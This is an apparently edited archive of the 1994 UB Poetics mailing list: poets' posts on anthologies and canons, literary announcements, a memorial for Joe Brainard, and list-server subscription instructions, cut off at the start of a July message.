rather,

gag *them* with a three-week-old chicken wing!

-Marc

↑ Index

30. Marc Nasdor
Re: More chicken musings
Mon 9 May 1994

---

wings to the north of me
ribs to the south

but still can't get the taste of hot steamed crabs & National Boh
out my mouth

-Nasdor

↑ Index

31. Robert Creeley
Re: More Chicken Musings
Tue 10 May 1994

I've not seen the Columbia History etc though it's become a "topic" etc. There was a curious note by David Perkins, the previous purveyor of orthodoxy with respect to the "Modern canon," in the HARVARD REVIEW, pp. 225-227. He laments what he calls "a lack of personality," coherence, a point of view, etc., etc. (He's reviewing both volumes, i.e., American and British). More personally, friends begin to be irritated--I think legitimately--by the snideness with which they are noted, if they are. That is, that factor of "personality" is certainly present. Anyhow, whatever Perkins' own criteria or understanding, one might well ask--like they say--what's the premise of these judgements? For example, the 2nd edition of the Norton dropped Zukofsky, and then, as I recall, another involved with American "literature" included Niedecker that same year. Ted Berrigan was also dropped. I have seen none of the recent antholo- gies to date--with the sole exception of VOICES FROM THE NUYORICAN CAFE, which seems of a "place and time" at least sans question. Anyhow talking to Allen G/ in NYC recently (after the celebration for Paul Hoover's antho/ at St Marks), he seemed much impressed--and he is an inveterate anthology-maker (for use in his own teaching). Jed, Charles tells me of your active rehearsal of the canon of my own immediate elders, i.e., the group as Lowell, Jarrell, Roethke, and of how they were kept "in place." So all the above must be quite familiar. "Nobody here but us chickens..."

↑ Index

32. Joseph Conte
Re: More chicken musings
Tue 10 May 1994

Furthering the discussion of anthologies and canonization, has anyone perused the new _Oxford Companion to Twentieth-Century Poetry_? Ed. Ian Hamilton, which ought to tell us something. It has the virtue of multinational inclusion, "from America and Britain to Trinidad and Zimbabwe." All the principal Objectivists are included, plus an entry on the movement itself. But whereas C. Coolidge is mentioned in passing in the entry on New York School, The, and C.

Bernstein in overview of Language Poetry, Emily Grosholz and Dana Gioia and Andrew Hudgins (friendly acquaintances all) merit (?) their own entries.

Personally I'm harboring a nostalgic longing for the brick-oven pizza parlors of Belleville, NJ.

Joseph Conte

↑ Index

33. sondheim
The Year 1800-2200
Wed 11 May 1994

==========

I LOOK THROUGH YOUR EYES

Begin, I say, begin.

I have disappeared from my life. At one point, I had fashioned an artwork or sculpture, a wire envelope indicating the farthest reaches of my arms and legs, the inner space of the body. Wire formed the surface between flesh and the outer world, and wire was the metaphor for transverse or transgressive logics carrying the weight of gesture across the body itself.

It is this beyond, thrust against gesture, to which gesture cannot penetrate, that I dedicate this short essay in the elegiac mode. Romanticism, always illusory, bases itself upon such, and I find myself within its portals, about to make an entrance accompanied by numerous shades and indeterminate genders.

I speak of the envelope of wires, of telephones and computer networks, of communications focused upon the parabolic mirror of the heart. For here, I have received one ghost only to discard another; I have been discarded by a third, and enveloped by a fourth who murmurs, everything has limitations and your body has written me.

And years ago, I believed in just this: that I have written myself simultaneously in and out of existence, that writing was the hinge turned against the sheer inertia of the world. But now I reach out and find the current of the wires dangerous and sparking; ozone fills the air which I remember to breath, and haunted pools of liquid threaten annihilation if I overstep the keyboard and its memories. Here I have learned from Weber: The Call is always a translation, mercurial at best, and the Call is literate.

I bend deeper into the keys themselves, jetsam on an indeterminate sea. My back strains with the weight of moderated thought. Beyond the window is

another window. Beyond another window is a window, darkness outside illuminated by the circular resonance of yellowed lamps disappearing in a forced perspective, Dean Street drowned by so many others. London would not have suffered in the comparison; London is a word of magic, illuminated by the street of the kindly Dean, Swift to the occasion:

> "Suppose me dead; and then suppose
> A club assembled at the Rose;
> Where, from Discourse of this or that,
> I grow the Subject of their Chat."

The petals stem themselves from a breast or fountain animate, close to the invention of steam for rail or water transportation. Steam breathes the extension of language in the future Railway Panic or speculation arranged from capital and fear of the compression of flesh itself. No longer etiquette holds against the centrifugal thrust repeatedly towards empire returning gold to Portugal and Spain. Violence occurs whenever discourse is downed, the table replaced by emptied telephony, packets and nodes choked with useless information rewriting, on a continuous basis, the history of the electrical world itself. So my eyes are closed; dead, I continue.

To continue to conjure or reproduce those which I love and those whom I have loved, or merely, in relation to an indifference: I would find you beyond the hindrance of address. To do so is to remember, the password leads only to a null file; every word passes and every word returns writing/culture degree zero. Suppose it dead, you dead, myself: This uncanny harboring continues, nightly, tall ships with masts catching electron wind between one and another star, sailing mournfully down Dean Street itself, passing in calmed or still waters and nowhere moving or returning.

It is the stillness which shapes the thing. The thing occurs only in the shaping of silence. Letters project their third dimension; it is necessary as well that I am here, producing the occurrence of their text, that is to say, their dominion. More than the dominion of letters I am not, and more I would be.

I have been discarded, effaced; no longer existing, existence disappears after one more address, one more presence. You do not make it real; emission pools beyond you, a doubled annular eclipse shadowing in the form of stuttered outline. Beyond the street is another street.

> "The fools, my juniors by a year,
> Are tortur'd with suspense and fear;
> Who wisely thought my age a screen,
> When death approach'd, to stand between:
> The screen remov'd, their hearts are trembling;
> They mourn for me without dissembling."

Dean Swift, Alan Sondheim, 432 Dean Street, and Brooklyn, NY, and 11217.

==========

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34. Charles Bernstein

Alberta on My Mind

Thu 12 May 1994

I've been travelling

to Vancouver, where I read at the Kootenay
School of Writing & tried to get the
collective authorities there to sell me a
Ph.D. for less than the $50 (Canadian)
they have been asking, only that I
enjoy discounts and special pricing,
I mean I don't question the value,
so we're in a Vietnamese restaurant
& Colin Smith pulls out a letter
he happens to have in his bag
from some official government agency
telling KSW that they must cease and
desist from offering unlicensed
postsecondary instruction to which Colin
suggests that the best solution may
be to send the person who wrote
the admonition an honorary degree from
KSW -- hm, Canadians really are
different than us Statesiders, they
seem to know how to get along

so, Bruce, speaking of Canadian poets --
Idaho, Canada that is --
got word of a celebration in Vancouver
next spring of Robin Blaser's
70th birthday, now in the planning;
and just missed Peter Quartermain's
60th birthday; & realized I had failed
(old story) to mention, in my hyperbolic
notices for (KSWers) Kevin Davies's
& Deanna Ferguson's new books in
the new Sulfur, Catrinna Strang's

Low Fancy, which I got only after I
turned that notice in

& on to Edmonton, where I got lost in
the Fantasyland Mall on the way to
one of the demikeynotes at the
International Association for Philosophy
and Literature "Thinking Between Poetry
& Philosophy" convention & so missed
most of the lecture on the "The Ineluctable
Split of Poetry's Unsayable Name: Reading
Derrida through Nietzsche's Unknowable
Answer to Celan's Joyce (A Response to
Benjamin)." Many of the conventioneers
noted that the "Bourbon Street" food
mall was a perfect example of "simulation" --
a view I have trouble understanding
(again not unusual for me)
since the patrons of food court
seem to enjoy the fact that
"Bourbon Street" is ineluctably in
the West Edmonton Mall & the designers
of the street seemed to go
out of their way to emphasize this fact,
making it look like a plastercaste
sketch of a picture of a New Orleans street
& not like the "real thing" at
all; the only ones fooled were
we conventioneers having our
dinner as we chatted about the
breakdown of reality and simulacra
(or simusoy for the lactose
intolerant). & talk about authentically
local as you might, the Buffalo
wings on Bourbon Street
in the West Edomonton Mall
never tasted so real
(or would have; I had the trout)

so somewhat late to
respond to the various & sundry
recent posts

but, speaking of simulacra,
Jed Rasula's book, which I recently
read in manuscript, is called
_The American Poetry Wax Museum:
Reality Effects 1940-1990_. I hope it
comes out soon: it's not-to-be-missed.
Jed has a way of making the story of
what he calls New Criticism, Inc.,
absolutely rivetting, so much so that
I could understand, as if for the first time,
what made the American poetry canon of the
1950s possible. Jed's work is essential
in its elucidating the cultural logic
of the countermodernist turn.
I also just got word that Alan Golding's
_From Outlaw to Classic: Canon in
American Poetry_ will be out this fall
from the University of Wisconsin.

Meanwhile, Douglas Messerli's 1135-page
epic _From the Other Side of the
Century: A New American Poetry 1960-1990_
(Sun & Moon Press) is now out and
beginning to make its way into the world.
I just got an advance copy today.

+++++++++
A Note on this List

As new people join Poetics@UBVM I ask them not to mention the list on any public internet space (BBS, listserve, etc) in order to keep this particular group to a relatively small scale. This is not to discourage people from recommending the list to others but to keep the list to people who have a direct involvement with its current constituency (however undefined that may be).

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35. Carla Billitteri
I Am A Child
Thu 12 May 1994

Now Available

A tailspin press journal project
edited by William Howe & Benjamin Friedlander

I AM A CHILD
poetry after Robert Duncan and Bruce Andrews

8-1/2 x 11 [w160pp], $7.50 ($8.50 US and Canada,
$10.50 international, postpaid)
make checks payable to UB FOUNDATION
(please US dollars only)

Poetry/Poetics from Aaron Lercher, Althea Schelling, Andrew Schelling, Benjamin Friedlander, Bruce Andrews, Carla Billitteri, Charles Bernstein, Chris Funkhouser, David Levi Strauss, Diane Ward, Emma Bernstein, Gianni D'Elia, Halliday Dresser, John Clarke, Jeff Gburek, Jeff Hull, Joel Kuszai, Juliana Spahr, Kim Rosenfield, Lee Ann Brown, Lisa Jarnot, Mark Wallace, Maya Grace Strauss, Miekal And, Nick Lawrence, Nils Ya, Norma Cole, Pat Reed, Patrick Phillips, Robert Creeley, Robert Duncan, Robert Fitterman, Robert Grenier, Robert J. Bertholf, Rod Smith, Stephen Rodefer, Steven Farmer, Susan Howe, Thad Ziolkowski, Vanessa Renwick, and William Howe.

tailspin press
418 Richmond Ave. #2
Buffalo, NY 14222
USA
or
[redacted]
*****

from I AM A CHILD

"If childhood doesn't exist for Andrews, claims
precedence as neither word nor concept, it's because
the child is an ideological construct, a role that society
foists, not only upon the young, but on _all_ subjects;
childhood for Andrews, if anything, is a meaningless
word, a concept without rigor, a social practice
determined by adult orders whose rejection, never-
theless, childhood alone is reserved for."
**Nils Ya

"Satan _himself_ taught all arts of deception: your looks
mistaken
in glass afraid wants
muffler upright the hour-eye
girls who hate women
personalize your past dumb face rhetoric preening query
fluid inattention --"
**Bruce Andrews

"since they all have cotton wads in their ears, I _must_ be
the syrene who is singing on their rock."
**Robert Duncan

". . . and might not this poetics of the outburst--cruelly, unintentionally--have given Duncan over to a power of poetry terrible to behold, violent even in its erudition, a territorial pissing, a childish statecraft, a poetics closer to that of Bruce Andrews . . ." **Nils Ya

******

"Let's press our breasts together and french kiss;
any more I can't speak about.
Too much description ruins everything."
**Lee Ann Brown

"And then the Angels come.
And then the Pig Angels come when
the Angels come."
**Emma Bernstein

"motherhood

uninteresting fetish
and a
sick habit"
**Vanessa Renwick

"sweet pomegranite sickness, world that would be drunk
with joy of itself but instead launches
its rockets of vomit to pollute upper worlds"
**Jeff Gburek

"Why did they kill them

Why was my body
flooded
with tension
my small cock stiff"
**Robert Creeley

******

"Transcendence, then, is not a climbing over, but a
recognition of the pallor on the face of the impossible.
This pallor is the visible secret."
**Patrick Phillips

"All of the above questions are worthy of a search for answers, if that is what we are seeking. . . . At this juncture of the process I am able to empathize with skeptics, and occasionally offer my own views of the underbelly."
**Chris Funkhouser

"The childhood of a prospective idea remains in its room, undecided. We are left standing between one window that opens on to a scene of instruction, desire, communal activity, and another that surveys a landscape littered with logos, chap-books, new and improved junk."
**Nick Lawrence

↑ Index

36. Robert Kelly
Re: Alberta on My Mind
Thu 12 May 1994

in the heart of all the richesse of Charles' report on the Road to the Deep North, stands out the need for us all, all, to inscribe/orate/declare/silently pray something in honor of that upcoming 70th of Blaser. Let us gather the posy of huzzahs and fling it NW.

Robert

↑ Index

37. Kenneth Sherwood
archiving
Fri 13 May 1994

INFORMATION (at Charles Bernstein's request)

For anyone interested in recapturing the 'immediacy' of past postings, dredging up the traces of ALL POETICS traffic since March 1994, there is an archive.

To receive a file containing all posts since that date with nasty header material excised, send the following command, as the one and only line in a mail message to [redacted]

GET POETICS NOTEBOOK

For those whose accounts do not typically 'interact' well with the poetics list, you might try ammending this command to:

GET POETICS NOTEBOOK F=mail

(This should result in the VERY LONG file being sent as a normal mail message. NO promises!)

Ken Sherwood

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38. Yunte Huang
wings, ribs, and books
Mon 16 May 1994

After reading Hank's wonderful story of the Dreamland BBQ ribs, I, as a restaurant owner in the same town, would like to share with ya'll my imaginative experience with IRS. I have so far very carefully kept my books in Chinese. Anything that is even faintly comprehensible to the English readers will be eliminated from the books. Therefore, you can't find any Arabian numbers in them, nor Roman numerials (as a swain sang: business is a secret, and risky path off the cultures). The only things you can find are hieroglyphic characters and some I-chingish, yin-yang stuff. So if IRS raids us, I will give them a seemingly cunning oriental, or Wenzhouish (Hank and James) smile, and gladly present them the books. In addition, I wil also show them the book I have translated, _Selected Language poems_ (by Charles, Hank, and James), suggesting that since I can translate that kind of difficult poetry stuff, I can sure do a "faithful" translation of these books, if they really need my service.

P.S. If there are any secret agents here on this list, mind you, this is poetics discussion, and my piece above shows, hopefully, the complexity of cultural communication as the functional languages are concerned. "Nothing here but wings, ribs, and leftovers..."

Yunte Huang

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39. Jennifer Moxley
Impercipient 5
Wed 25 May 1994

EXTRA! EXTRA! FRUITS FALL FROM AMERICAN TREE! APEX OF URBANITY FINALLY REACHED! COOLIDGE CALLED IN FOR QUESTIONING: IS HE A ROMAN AGENT?! CHARLES BERNSTEIN SAYS HE'LL GIVE UP E-MAIL NOW THAT...

A new issue of the *The Impercipient* is out, featuring stunning new poems by Joe Ross, Lisa Jarnot, Lee Ann Brown, Jessica Lowenthal, Peter Gizzi, Kevin Davies, Thad Ziolkowski, Rob Fitterman, Jennifer Moxley, Jeff Hull, and Magdalena Zurawksi.

If you haven't yet touched your head to this "silent pillow of a generation" (to dream or to drool), now is certainly the time to do so.

Subscription information is as follows:

3 issues $12
1 issue $5
back issues $5

(Of course, issues remain free for the asking to anyone who cannot afford the cover price).

If you haven't received the magazine previously, you can add yourself to the mailing list by sending e-mail to [redacted] or regular mail to

The Impercipient
61 E. Manning
Providence RI 02906-4008

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40. Charles Bernstein
I remember Joe Brainard
Fri 27 May 1994

Joe Brainard died of AIDS on Wednesday. He was 52 years old.

*****

PEOPLE OF THE WORLD: RELAX!

Beware of boys in tight pants
They are perverts
Beware of tight pants
They chap the fanny and irritate the leg muscles
Your friends will laugh
And your mother will know
Do not feel guilty if showers turn you on
There is nothing wrong with masturbating in the shower
I masturbate in the shower
And there is nothing wrong with that
Everyone does it
If you do not do it, try it
Everyone does it

People of the world: RELAX!

If you want to be a movie star go to Hollywood
If you want to be a dancer dance right now

Or it will be too late
And you will be unhappy
Be a dancer if you want to be a dancer
Do not be afraid
Some of the best people I know are dancers

People of the world: RELAX!

Take it easy and smoke a lot
Make all the noise you want to on the toilet
Other people will hear you but it does not matter

People of the world: RELAX!

Put on a clean white shirt and RELAX
Do not be afraid
Some of the best people I know are afraid
Do not be afraid of death
It will not hurt you

People of the World: RELAX!

This is a good life
Go of-of-doors a lot
Smell flowers
Sit down in the grass
It will not hurt you
Look at the tree
The sky is blue
Climb every mountain
Air is the only hope
Do not kill any ants
They are your best friends

PEOPLE OF THE WORLD: RELAX!

The world is yours
Here, take it

******

I remember when polio was the worst thing in the world.

I remember that little jerk you give just before you fall asleep. Like falling.

I remember a dream of meeting a man made out of very soft yellow cheese and when I went to shake his hand I just pulled his whole arm off.

--Joe Brainard, from _Selected Writings_
(New York: The Kulcher Foundation, 1971)

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

June 1994

7 messages · Wed 8 Jun 1994 – Tue 28 Jun 1994

June 1994 is a quiet month, the spring's collective mania spent, and the list settles into the errands of a going concern — a magazine to announce, a competition to note, a newsletter's subscription mechanics to explain. Chris Funkhouser leads with the roster of The Little Magazine's twentieth volume, a long confetti-fall of names, and closes his own contribution on a graver note, offered almost in passing: *“You gain your life only by giving it up”*. The party is over; the shop is open.

The rest is housekeeping raised, here and there, into something better. Loss Glazier posts the plain instructions for subscribing to RIF/T, the list's electronic-poetry offshoot, and Charles Watts turns a passing remark into a small aphorism, catching the season's mood as *“a cliche of our recognitions and condition”*. Under the heading Recovery of the Public World the list even glances, briefly, at the largest questions before letting them go again until autumn.

Fred Wah signs off the month with three words that will do as well as any for the whole of this early, half-formed, generous archive — *“Thanks for the morsel”*. Seven letters, no arguments to speak of, the poets tending the ordinary machinery of keeping in touch. I have set each forward under its author's name, the private numbers returned to the dark, and left the summer quiet where I found it.

— Kristen M. Fabians

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(no subject)

Wed 8 Jun 1994

THE LITTLE MAGAZINE VOLUME 20 features, front to back,

Katie Yates, Don Byrd, Anne Tardos, Will Alexander, Charles Stein, Marilyn Crispell, Chris Funkhouser, Katie Yates, Anne Waldman, Sandy Baldwin, Elizabeth Burns, Jan Ramjerdi, Dave Coogan & Nancy Dunlop, The Snickering Witches, Amy Schoch, Jonathan Post, Awopbop, Derek Owens, Katie Yates, Awopbopaloobop Groupuscle, Noam Scheindlin, Leonard Slade, Andrew Podniek, Joyce Hinnefeld, Mark Nowak, Eric Douglas, Chris Stroffolino, Rebecca Bush, Robert Grenier, Belle Gironda, Katie Yates, Mike Condon

Is available Seven Dollars (195pp.) = bargain. The Little Magazine/English Department/University at Albany/Albany, NY 12222

For "review" copies (literally) please send email to [redacted]

from the CALL FOR WORK ([redacted]):

"WRITING AND ELECTRONIC SPACE/CYBORG PERFORMANCE AND POETICS. _THE LITTLE MAGAZINE_ is looking for writing and visual art work which exists in the imagination of media still uncreated...Although we are interested in adventuresome uses of technology, it is not technology but vision which is lacking...we are sick...of the polite, conventional thing literature has become. It is so comfortably contained in print. It is mediated and remediated (already); it is the subject of schools. We are not interested in work which exemplifies the theories of the past or even the hottest, most engaging theory of the present. We are interested in work which will call forth the media of the future.

CYBERPUNK GROW UP

The deadline for the issue is December 15, 1994, but get in touch with us as soon as possible. We will try to find a way to publish important work even if it does not fit neatly into the usual literary magazine format. Tell us about your writing, visual art, sound pieces, videos, multidimensional performances, network art, and investigation of genres still unnamed..."

There will be a reading at Borders Bookstore in Albany, 22 June, 6-9 pm, featuring contributors

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2. Chris Funkhouser

(no subject)

Thu 9 Jun 1994

Just received a message from Santa Cruz sharing news of the passing of William Everson (Brother Antoninus of SF Renaissance group), a friend and writer/printer.

Inspirations, withanks, flipping thru _Birth of a Poet_ (Black Sparrow '82):

> A knowledge of myth is crucial to a knowledge of vocation. In some way vocation is an enterprise, an enterprise of service or discovery, and the moment it becomes that, it becomes mythic. It is this dimension which changes vocation from career to witness. (53)
>
> * * *
>
> Spontaneous utterance deals with the potentiality of a tongue but craftsmanship deals with its limitations. You have to learn to balance yourself between them. Use the right hand of your power in all its tumultuous pouring forth, its torrential sound, its waterfalls of dissonance and assonance, its cascades of tonality and inflection. But never forget the left hand of craftsmanship always has the last word. It defines the line beyond which you have not gone, and are prevented from going. (89)
>
> * * *
>
> Go now into the great latitude that awaits you out there, the reality that is not closing but opening. Seize it in your two hands even as you embrace it and wrestle the meaning from it in your thirst. But never forget that only the acceptance at the close will yield the mystery of wholeness to

> you, the thing you desire most of all. You have to lose your life in order to save it. You have to expend yourself in order to find yourself. You gain your life only by giving it up. (193)
>
> William Everson, 1912-1994

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3. Joe Ross
Re: Poetry Competion
Sun 12 Jun 1994

NEW AMERICAN POETRY SERIES COMPETITION

Over the past years, it has become increasingly apparent that poetry is undergoing a renaissance in the United States. More poets are writing original and exciting new works of poetry than there are publishers willing to publish their work.

In order to help rectify this situation and to encourage other organizations upon similar courses, The Contemporary Arts Educational Project, Inc., a nonprofit corporation, and its publishing program Sun & Moon Press announces a new poetry competition.

Beginning in 1995, The contemporary Arts Educational Project will annually publish two books in its Sun & Moon Press New American Poetry Series, chosen through a national poetry competition.

Original manuscripts, which have not previously appeared in book form, are eligible. Between May 1,1994 and December 31, 1994 the competition will consider typed manuscripts of poetry (between 50 and 200 pages in length). Manuscripts should be accompanied be a cover letter, listing the author's name, address and telephone number; but no name or address should appear on the manuscript itself. All types of poetry written by all ages are eligible, but the national judges, who will read the manuscripts without knowing the names of the authors, have been charged to give particular interest to innovative and original compositions. Manuscripts should begin with a title page, followed by a table on contents and the text. A $25.00 application fee (in the form of a check made out to The Contemporary Arts Educational Project,Inc.) for handling and judge's costs must be included with the manuscript. Manuscripts submitted without following the guidelines above will be returned. Please send all manuscripts to the New American Poetry Competition at the address below.

All entrants will be notified of the final selections by April 30,1995; however, no manuscripts shall be returned. By entering this competition, the applicant agrees that, if chosen, he/she will allow Sun & Moon Press to publish the

manuscript according to the terms of the Sun & Moon Press contract, which pays 10% royalties on all copies sold.

For further information or to enter, please write to the following address:

The Contemporary Arts Educational Project, Inc.
Sun & Moon Press New American Poetry Competition
6026 Wilshire Boulevard
Los Angeles, California 90036
[redacted] FAX:[redacted]

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4. Loss Glazier

How to Subscribe to RIF/T (Informational)

Wed 15 Jun 1994

In response to some questions about how to subscribe to RIF/T, I post the following information for those who might need it. This is an informational posting.

H O W T O S U B S C R I B E T O R I F / T
(An Electronic Journal of Poetry, Poetics, and Writing)

[redacted]

Leave the "to" and "subject" lines of your e-mail message blank.
In the body of the e-mail message type:

subscribe e-poetry Firstname Lastname

where "Firstname" and "Lastname" correspond to your actual name.
You will receive a message confirming your subscription in short order.

Thanks for your interest in RIF/T,
Loss Glazier
for Kenneth Sherwood & Loss Glazier

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5. Charles Watts

"*Recovery of the Public World*"

Wed 15 Jun 1994

ANNOUNCING "THE RECOVERY OF THE PUBLIC WORLD": a Conference in Honour of the Poetry and Poetics of Robin Blaser; to be held in Vancouver, Canada, June 1st to 4th, 1995.

"Poets have repeatedly in this century turned philosophers, so to speak, in order to argue the value of poetry and its practice within the disturbed meanings of our time. These arguments are fascinating because they have

everything to do with the poets' sense of reality in which imagery is entangled with thought. Often, they reflect Pound's sense of `make it new' or the modernist notion that this century and its art are simultaneously the end of something and the beginning of something else, a new consciousness, and so forth. It is not one argument or another for or against tradition, nor is it the complex renewal of the imaginary which our arts witness, for, as I take it, the enlightened mind does not undervalue the imaginary, which is the most striking matter of these poetics; what is laid out before us finally is the fundamental struggle for the nature of the real. And this, in my view, is a spiritual struggle, both philosophical and poetic. Old spiritual forms, along with positivisms and materialisms, which `held' the real together have come loose. This is a cliche of our recognitions and condition. But we need only look at the energy of the struggle in philosophy and poetry to make it alive and central to our private and public lives." (Robin Blaser, from "The Violets: Charles Olson and Alfred North Whitehead," in LINE No. 2, Fall 1983)

This conference will address many of the concerns voiced by Robin Blaser's work in poetry and prose over nearly fifty years' writing, teaching, speaking and living an evolving poetic thought. There will be six panel sessions, each exploring a realm of this thought; there will also be a seventh, convivial session which will give us an opportunity to speak about companionship in poetry and poetics.

The panels, with possible topics for discussion:

POETICS, THEORY AND PRACTICE: presentation & representation - self & other - the play of absence - parataxis & hypotaxis - the serial poem - dictation - the poem as field - the poem thinking - the poem as argument - theory and practice of language - augury - the visionary & the prophetic - the construction of modernity - mythopoiesis - grammatology - logography

PAINTING, MUSIC, SCULPTURE, POETRY: no break with tradition, but a continuous gathering - continuous breakages and ruptures with academicisms and canon-makings - field in painting, music, the plastic arts - Rimbaud's `dereglement de tous les sens' - `the painter of modern life' - revolution of the word - Duchamp & poiesis - l'avant-garde - Bach's belief &/in the era of Boulez and Cage

HETEROLOGIES: `religio', a `tying back to' & vision vs. religiosity - futurity as indeterminable vs a settled & expected transcendence - dangerousness of the latter - rethinking the cosmos in the 19th century (Poe, Emerson, Melville, Dickinson) - Blake & cosmos - 20th century turns - "we are `ventured' by language" - Olson, Whitehead - science as thought & unthought (Einstein, Foucault) - `scientific angelism' (Girard) - Merleau-Ponty - Leibniz, Bach, probability, monadology - Deleuze, `the fold' - heterodoxies, heterologies (De

Certeau) - `God, self, history, and book' (Taylor) - importance & implications of cosmology/cosmogony as modes of poetic discourse in relation to the contemporary dominance of philosophies of language & psychoanalysis - muthos/logos - Plato & the preface to Plato & the postface - the `other' of philosophy & poetics

ETHICS AND AESTHETICS: modern `isms' and persons - self, other - Hannah Arendt & the recovery of the public world - the scapegoat, sacrifice of the other - Marx, Freud, materialisms, positivisms - Foucault (madness & civilization, archaeologies of knowledge, the public institution) - the postmodern condition - poet & ideology - Benjamin, Adorno, Bloch, and others - outsiders (Hans Mayer) & `the practice of outside' - Nietzsche, the birth of tragedy, the gay science - `the fragility of goodness' (Nussbaum) - repression & freedom - Hermes & the parasite (Serres) - the practice of everyday life - (De Certeau) - nomadology - ethical poetics

EROS AND POIESIS: desire & freedom - eros & agape - self, other - homoeros, sexualities, `heterodalities' - `sodometries' - the creative/the destructive, the prolific/the devouring - sexual politics - the poetics of love

TRANSLATION: `De volgari eloquentia' - Mallarme, `correspondances' - dictation - mimesis - imitation &/or carrying over - Pound - Nerval, Duncan, Blaser - music the `upper limit of speech'? - translation & the sacred - `originality'/`derivation' - `quotation' - Octavio Paz - before, during, and after Babel (George Steiner) - ethnopoetics, culture studies, linguistics & translation

COMPANIONS: breaking bread with - a feast of companionship - `the great companions: Pindar, Dante, Whitman, H.D., Duncan, Spicer, Olson, Pound, Yeats et al - the everyday & miraculous affection - `the truth is laughter' - Boston, Berkeley, San Francisco, Vancouver - teaching/learning - generosities of scholarship - order/strife & human fulfillment - truth & life of myth

The `Companions' session will be celebrated as a feast.

Obviously, the `topics' outlined above have hardly the stability of categories, and can easily, and relatively promiscuously, slip from one session to another; "the map is not the territory," and conference participants will find their own territories/unterritories to speak from. One very valuable guide is Robin Blaser's The Holy Forest, "a collected poems, that is, as far as I've gone today, 6 May, 1993" (Toronto: Coach House Press, 1993), available from Coach House, 50 Prince Arthur Avenue, Suite 107, Toronto, Canada M5R 1B5, and from Small Press Distribution, 1814 San Pablo Avenue, Berkeley CA 94702, Fax [redacted].

A CALL FOR PROPOSALS: "THE RECOVERY OF THE PUBLIC WORLD": A CONFERENCE ON THE POETRY AND POETICS OF ROBIN BLASER, June 1st-4th, 1995, EMILY CARR COLLEGE OF ART AND DESIGN, VANCOUVER, B.C.,

CANADA. CRITICISM * THEORY * BIOGRAPHY * LITERARY HISTORY * POETRY * WELCOME. PANELS AND SEMINARS WILL BE HELD ON POETICS, THEORY AND PRACTICE * PAINTING, MUSIC, SCULPTURE, POETRY * HETEROLOGIES * ETHICS AND AESTHETICS * EROS AND POIESIS * TRANSLATION * COMPANIONS.

Please submit two copies of a 500-750 word proposal by 30 September 1994 to "Toward the Recovery of the Public World," c/o The Institute for the Humanities, Simon Fraser University, Burnaby, B.C. Canada V5A 1S6

Conference organizers are Ted Byrne, Tom Grieve, Tom McGauley, Miriam Nichols and Charles Watts. For additional information about the conference, please write to the Institute for the Humanities, or telephone [redacted] or [redacted]; or fax [redacted]. My e-mail address is [redacted]

Charles Watts for the conference organizers.

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6. Fred J. Wah
Re: chappies
Mon 20 Jun 1994

Thanks for the morsel. We're off to Germany in the morning, tired out after the Learneds here in Calgary last two weeks, plus all the fighting bout the race conference (but it's going ahead with lots of donations anyway). I haven't been abel to get to the D book at all - feel bad about that but will have to wait until Sept now.

Was good to see you in TO, hope yr ok and the summer works. I'll be off of this, except for a couple of days in July, until late August.

take care,

Fred--

↑ Index

7. Alan Loney
Poetics Notebook
Tue 28 Jun 1994

Wystan Curnow has just told me (with a heap of enthusiam and of course a glittering
intellegence) of your poetics discussion group, and I'd like to join. May I?

[redacted]

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

July 1994

69 messages · Tue 5 Jul 1994 – Sun 31 Jul 1994

July is a month that turns its back, and I have long since learned not to hold the habit against it. While the comet came apart against Jupiter in a string of bruises the astronomers could scarcely credit, and the wider world spent its fortnight on catastrophe and a football final, my sixty-nine correspondents bolted the door of the little room and argued, of all the imperishable subjects, about anthologies. I find this exactly right. The list is never more itself than when it declines the news and keeps its own weather. A reader arriving from the century outside will feel the hush of a seminar that has forgotten there is a corridor at all, and I confess I would not have it otherwise.

And yet it opens in mourning. On the fifth, Charles Bernstein reposts Robert Creeley's notice that Warren Tallman has died in Vancouver, at home, on the Fourth of July — the impresario of the 1963 conference that carried Olson and Duncan and Ginsberg north, the teacher who, Creeley says, simply believed. Creeley rarely reaches for the large word; he reaches here, and calls Tallman *"a great, great heart."* I have let the letter stand at the head of the month unabridged, because everything that follows it — the squabbling, the punning, the earnest scholarship — is in some measure the sound of that heart still being listened for.

The month's true engine, though, is the anthology question, and it runs hot. Alan Golding arrives with the scholar's full armamentarium — citations, a survey of the field, the promise of his forthcoming *"From Outlaw to Classic"* — to ask how canons are actually made: who counts the poets, and by what arithmetic. Marjorie Perloff, characteristically, refuses the arithmetic outright. *"This sort of head count can't work,"* she writes, for there will always be another group, another exclusion, another aggrieved census. Between Golding's patience and Perloff's impatience the list strikes its familiar chord: the canon is a scandal none of them can quite bring themselves to abandon.

Then, as ever here, the argument tips over into play. *"Anthologies"* slides into *"magic anthology ride,"* which slides into the gorgeous nonsense-word *"Anthslide,"* and the thread becomes a spelling game conducted at speed. Marc Nasdor, who posts more than anyone, plants his flag on the far shore — anthologies are *"a needless waste of wood pulp,"* he declares, before cheerfully admitting to a couple of dozen on his own shelves — while Chris Funk opens a

second front entirely, enrolling the whole company in *“an Imaginary University”* whose curriculum is pure cryptic delight. This is the Poetics list at its most itself: unable to lose an argument because unwilling, in the end, to stop enjoying one.

And beneath the play, something is quietly founded. It is in this same July that Loss Glazier posts the announcement of the Electronic Poetry Center at Buffalo — the archive, that is, in which these very letters would one day come to rest. I admit a proprietary tenderness toward that message. The list spent the month mourning a teacher and building a memory-machine, and did not once appear to notice it was doing both at the same time. That, precisely, is the office of an editor: to notice. I have gathered the sixty-nine here in their true order, drawn the bar across what ought never to have been public, and left the rest to speak as it did — all at once, and out of turn.

— Kristen M. Fabians

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1. Charles Bernstein

Warren Tallman / from Robert Creeley

Tue 5 Jul 1994

--Boundary (ID oTjVMpHWBpRrJM1RImBFWg)

Date: Tue, 5 Jul 1994 08:31:59 EST
From: [redacted]
Subject: Warren Tallman

